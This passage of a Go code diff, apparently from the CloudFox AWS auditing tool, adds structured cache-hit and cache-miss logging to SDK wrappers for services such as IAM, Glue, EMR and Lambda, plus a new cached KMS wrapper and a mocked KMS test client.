|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:DescribeNodegroup",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"nodeGroup": nodeGroupName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(eksTypes.Nodegroup), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:DescribeNodegroup",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"nodeGroup": nodeGroupName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
nodeGroupOutput, err := client.DescribeNodegroup(
|
||||
context.TODO(),
|
||||
&eks.DescribeNodegroupInput{
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticache"
|
||||
elasticacheTypes "github.com/aws/aws-sdk-go-v2/service/elasticache/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSElastiCacheClientInterface interface {
|
||||
@@ -26,8 +27,20 @@ func CachedElastiCacheDescribeCacheClusters(client AWSElastiCacheClientInterface
|
||||
cacheKey := fmt.Sprintf("%s-elasticache-DescribeCacheClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elasticache:DescribeCacheClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]elasticacheTypes.CacheCluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elasticache:DescribeCacheClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeCacheClusters, err := client.DescribeCacheClusters(
|
||||
context.TODO(),
|
||||
|
||||
@@ -3,9 +3,13 @@ package sdk
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticbeanstalk"
|
||||
elasticbeanstalkTypes "github.com/aws/aws-sdk-go-v2/service/elasticbeanstalk/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSElasticBeanstalkClientInterface interface {
|
||||
@@ -18,6 +22,23 @@ func init() {
|
||||
|
||||
func CachedElasticBeanstalkDescribeApplications(client AWSElasticBeanstalkClientInterface, accountID string, region string) ([]elasticbeanstalkTypes.ApplicationDescription, error) {
|
||||
var applications []elasticbeanstalkTypes.ApplicationDescription
|
||||
cacheKey := fmt.Sprintf("%s-elasticbeanstalk-DescribeApplications-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elasticbeanstalk:DescribeApplications",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]elasticbeanstalkTypes.ApplicationDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elasticbeanstalk:DescribeApplications",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
DescribeApplications, err := client.DescribeApplications(
|
||||
context.TODO(),
|
||||
&elasticbeanstalk.DescribeApplicationsInput{},
|
||||
@@ -31,5 +52,6 @@ func CachedElasticBeanstalkDescribeApplications(client AWSElasticBeanstalkClient
|
||||
}
|
||||
|
||||
applications = append(applications, DescribeApplications.Applications...)
|
||||
internal.Cache.Set(cacheKey, applications, cache.DefaultExpiration)
|
||||
return applications, nil
|
||||
}
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing"
|
||||
elbTypes "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type ELBClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedELBDescribeLoadBalancers(client ELBClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-elb-DescribeLoadBalancers-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elb:DescribeLoadBalancers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]elbTypes.LoadBalancerDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elb:DescribeLoadBalancers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2"
|
||||
elbV2Types "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type ELBv2ClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedELBv2DescribeLoadBalancers(client ELBv2ClientInterface, accountID str
|
||||
cacheKey := fmt.Sprintf("%s-elbv2-DescribeLoadBalancers-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elbv2:DescribeLoadBalancers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]elbV2Types.LoadBalancer), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elbv2:DescribeLoadBalancers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/emr"
|
||||
emrTypes "github.com/aws/aws-sdk-go-v2/service/emr/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSEMRClientInterface interface {
|
||||
@@ -30,8 +31,20 @@ func CachedEMRListClusters(client AWSEMRClientInterface, accountID string, regio
|
||||
cacheKey := fmt.Sprintf("%s-emr-ListClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "emr:ListClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]emrTypes.ClusterSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "emr:ListClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListClusters, err := client.ListClusters(
|
||||
context.TODO(),
|
||||
@@ -66,8 +79,22 @@ func CachedEMRListInstances(client AWSEMRClientInterface, accountID string, regi
|
||||
cacheKey := fmt.Sprintf("%s-emr-ListInstances-%s-%s", accountID, region, clusterID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "emr:ListInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"clusterId": clusterID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]emrTypes.Instance), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "emr:ListInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"clusterId": clusterID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListInstances, err := client.ListInstances(
|
||||
context.TODO(),
|
||||
|
||||
+63
-5
@@ -11,6 +11,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/glue"
|
||||
glueTypes "github.com/aws/aws-sdk-go-v2/service/glue/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSGlueClientInterface interface {
|
||||
@@ -36,9 +37,20 @@ func CachedGlueListDevEndpoints(GlueClient AWSGlueClientInterface, accountID str
|
||||
cacheKey := "glue-ListDevEndpoints-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Glue dev endpoints data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:ListDevEndpoints",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:ListDevEndpoints",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListDevEndpoints, err := GlueClient.ListDevEndpoints(
|
||||
@@ -77,9 +89,20 @@ func CachedGlueListJobs(GlueClient AWSGlueClientInterface, accountID string, reg
|
||||
cacheKey := "glue-ListJobs-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Glue jobs data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:ListJobs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:ListJobs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListJobs, err := GlueClient.ListJobs(
|
||||
@@ -118,9 +141,22 @@ func CachedGlueGetTables(GlueClient AWSGlueClientInterface, accountID string, re
|
||||
cacheKey := "glue-GetTables-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Glue tables data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetTables",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"database": dbName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]glueTypes.Table), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetTables",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"database": dbName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetTables, err := GlueClient.GetTables(
|
||||
@@ -160,9 +196,20 @@ func CachedGlueGetDatabases(GlueClient AWSGlueClientInterface, accountID string,
|
||||
cacheKey := "glue-GetDatabases-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Glue databases data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetDatabases",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]glueTypes.Database), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetDatabases",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetDatabases, err := GlueClient.GetDatabases(
|
||||
@@ -203,9 +250,20 @@ func CachedGlueGetResourcePolicies(GlueClient AWSGlueClientInterface, accountID
|
||||
cacheKey := "glue-GetResourcePolicies-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Glue resource policies data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetResourcePolicies",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]policy.Policy), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetResourcePolicies",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetResourcePolicies, err := GlueClient.GetResourcePolicies(
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/grafana"
|
||||
grafanaTypes "github.com/aws/aws-sdk-go-v2/service/grafana/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type GrafanaClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedGrafanaListWorkspaces(client GrafanaClientInterface, accountID string
|
||||
cacheKey := fmt.Sprintf("%s-grafana-ListWorkspaces-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "grafana:ListWorkspaces",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]grafanaTypes.WorkspaceSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "grafana:ListWorkspaces",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
|
||||
|
||||
@@ -13,6 +13,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
iamTypes "github.com/aws/aws-sdk-go-v2/service/iam/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSIAMClientInterface interface {
|
||||
@@ -44,8 +45,18 @@ func CachedIamListUsers(IAMClient AWSIAMClientInterface, accountID string) ([]ia
|
||||
cacheKey := fmt.Sprintf("%s-iam-ListUsers", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListUsers",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]iamTypes.User), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListUsers",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListUsers, err := IAMClient.ListUsers(
|
||||
@@ -81,8 +92,18 @@ func CachedIamListRoles(IAMClient AWSIAMClientInterface, accountID string) ([]ia
|
||||
cacheKey := fmt.Sprintf("%s-iam-ListRoles", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListRoles",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]iamTypes.Role), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListRoles",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListRoles, err := IAMClient.ListRoles(
|
||||
@@ -118,8 +139,20 @@ func CachedIamListAccessKeys(IAMClient AWSIAMClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-iam-ListAccessKeys-%s", accountID, userName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListAccessKeys",
|
||||
"account": accountID,
|
||||
"userName": userName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]iamTypes.AccessKeyMetadata), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListAccessKeys",
|
||||
"account": accountID,
|
||||
"userName": userName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListAccessKeys, err := IAMClient.ListAccessKeys(
|
||||
@@ -172,8 +205,18 @@ func CachedIAMGetAccountAuthorizationDetails(IAMClient AWSIAMClientInterface, ac
|
||||
cacheKey := fmt.Sprintf("%s-iam-GetAccountAuthorizationDetails", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:GetAccountAuthorizationDetails",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(customGAADOutput), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:GetAccountAuthorizationDetails",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetAccountAuthorizationDetails, err := IAMClient.GetAccountAuthorizationDetails(
|
||||
@@ -224,8 +267,20 @@ func CachedIamSimulatePrincipalPolicy(IAMClient AWSIAMClientInterface, accountID
|
||||
cacheKey := fmt.Sprintf("%s-iamSimulator-%s-%s-%s", accountID, name, hex.EncodeToString(md5hashedActionNames[:truncatedHashLength]), hex.EncodeToString(md5hashedResourceArns[:truncatedHashLength]))
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:SimulatePrincipalPolicy",
|
||||
"account": accountID,
|
||||
"principal": name,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]iamTypes.EvaluationResult), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:SimulatePrincipalPolicy",
|
||||
"account": accountID,
|
||||
"principal": name,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
SimulatePrincipalPolicy, err := IAMClient.SimulatePrincipalPolicy(
|
||||
@@ -261,8 +316,18 @@ func CachedIamListGroups(IAMClient AWSIAMClientInterface, accountID string) ([]i
|
||||
cacheKey := fmt.Sprintf("%s-iam-ListGroups", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListGroups",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]iamTypes.Group), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListGroups",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListGroups, err := IAMClient.ListGroups(
|
||||
@@ -296,9 +361,21 @@ func CachedIamGetInstanceProfile(IAMClient AWSIAMClientInterface, accountID stri
|
||||
cacheKey := fmt.Sprintf("%s-iam-GetInstanceProfile-%s", accountID, instanceProfileName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:GetInstanceProfile",
|
||||
"account": accountID,
|
||||
"profile": instanceProfileName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(iamTypes.InstanceProfile), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:GetInstanceProfile",
|
||||
"account": accountID,
|
||||
"profile": instanceProfileName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetInstanceProfile, err := IAMClient.GetInstanceProfile(
|
||||
context.TODO(),
|
||||
&iam.GetInstanceProfileInput{
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/kinesis"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSKinesisClientInterface interface {
|
||||
@@ -24,8 +25,20 @@ func CachedKinesisListStreams(client AWSKinesisClientInterface, accountID string
|
||||
cacheKey := fmt.Sprintf("%s-kinesis-ListStreams-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kinesis:ListStreams",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kinesis:ListStreams",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListStreams, err := client.ListStreams(
|
||||
context.TODO(),
|
||||
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/kms"
|
||||
kmsTypes "github.com/aws/aws-sdk-go-v2/service/kms/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
// KMSClientInterface is an interface for the AWS SDK KMS client.
|
||||
type KMSClientInterface interface {
|
||||
ListKeys(context.Context, *kms.ListKeysInput, ...func(options *kms.Options)) (*kms.ListKeysOutput, error)
|
||||
GetKeyPolicy(context.Context, *kms.GetKeyPolicyInput, ...func(options *kms.Options)) (*kms.GetKeyPolicyOutput, error)
|
||||
}
|
||||
|
||||
func init() {
|
||||
gob.Register([]kmsTypes.KeyListEntry{})
|
||||
gob.Register(policy.Policy{})
|
||||
}
|
||||
|
||||
// CachedKMSListKeys returns a list of KMS keys for the given account and region.
|
||||
func CachedKMSListKeys(client KMSClientInterface, accountID string, region string) ([]kmsTypes.KeyListEntry, error) {
|
||||
var keys []kmsTypes.KeyListEntry
|
||||
cacheKey := fmt.Sprintf("%s-kms-ListKeys-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kms:ListKeys",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]kmsTypes.KeyListEntry), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kms:ListKeys",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
keyPaginator := kms.NewListKeysPaginator(client.(kms.ListKeysAPIClient), &kms.ListKeysInput{}, func(options *kms.ListKeysPaginatorOptions) {})
|
||||
|
||||
for keyPaginator.HasMorePages() {
|
||||
output, err := keyPaginator.NextPage(context.TODO())
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, key := range output.Keys {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, keys, cache.DefaultExpiration)
|
||||
return keys, nil
|
||||
}
|
||||
|
||||
// CachedKMSGetKeyPolicy returns the policy for the given KMS key.
|
||||
func CachedKMSGetKeyPolicy(client KMSClientInterface, accountID string, region string, keyID string) (policy.Policy, error) {
|
||||
var keyPolicy policy.Policy
|
||||
var policyJson string
|
||||
cacheKey := fmt.Sprintf("%s-kms-GetKeyPolicy-%s-%s", accountID, region, keyID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kms:GetKeyPolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"keyId": keyID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(policy.Policy), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "kms:GetKeyPolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"keyId": keyID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
getKeyPolicy, err := client.GetKeyPolicy(
|
||||
context.TODO(),
|
||||
&kms.GetKeyPolicyInput{
|
||||
KeyId: &keyID,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return keyPolicy, err
|
||||
}
|
||||
|
||||
policyJson = aws.ToString(getKeyPolicy.Policy)
|
||||
keyPolicy, err = policy.ParseJSONPolicy([]byte(policyJson))
|
||||
if err != nil {
|
||||
return keyPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", keyID, err)
|
||||
}
|
||||
internal.Cache.Set(cacheKey, keyPolicy, cache.DefaultExpiration)
|
||||
return keyPolicy, nil
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/kms"
|
||||
kmsTypes "github.com/aws/aws-sdk-go-v2/service/kms/types"
|
||||
)
|
||||
|
||||
type MockedKMSClient struct {
|
||||
}
|
||||
|
||||
func (m *MockedKMSClient) ListKeys(ctx context.Context, input *kms.ListKeysInput, options ...func(*kms.Options)) (*kms.ListKeysOutput, error) {
|
||||
return &kms.ListKeysOutput{
|
||||
Keys: []kmsTypes.KeyListEntry{
|
||||
{
|
||||
KeyId: aws.String("key1"),
|
||||
KeyArn: aws.String("arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab"),
|
||||
},
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (m *MockedKMSClient) GetKeyPolicy(ctx context.Context, input *kms.GetKeyPolicyInput, options ...func(options *kms.Options)) (*kms.GetKeyPolicyOutput, error) {
|
||||
return &kms.GetKeyPolicyOutput{
|
||||
Policy: aws.String(`{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-default-1",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::123456789012:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}`),
|
||||
}, nil
|
||||
}
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/lambda"
|
||||
lambdaTypes "github.com/aws/aws-sdk-go-v2/service/lambda/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type LambdaClientInterface interface {
|
||||
@@ -29,8 +30,20 @@ func CachedLambdaListFunctions(client LambdaClientInterface, accountID string, r
|
||||
cacheKey := fmt.Sprintf("%s-lambda-ListFunctions-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lambda:ListFunctions",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]lambdaTypes.FunctionConfiguration), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lambda:ListFunctions",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListFunctions, err := client.ListFunctions(
|
||||
@@ -114,8 +127,22 @@ func CachedLambdaGetFunctionUrlConfig(client LambdaClientInterface, accountID st
|
||||
cacheKey := fmt.Sprintf("%s-lambda-GetFunctionUrlConfig-%s-%s", accountID, region, functionName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lambda:GetFunctionUrlConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"function": functionName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(customGetFuntionURLOutput), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "lambda:GetFunctionUrlConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"function": functionName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetFunctionUrlConfig, err := client.GetFunctionUrlConfig(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/lightsail"
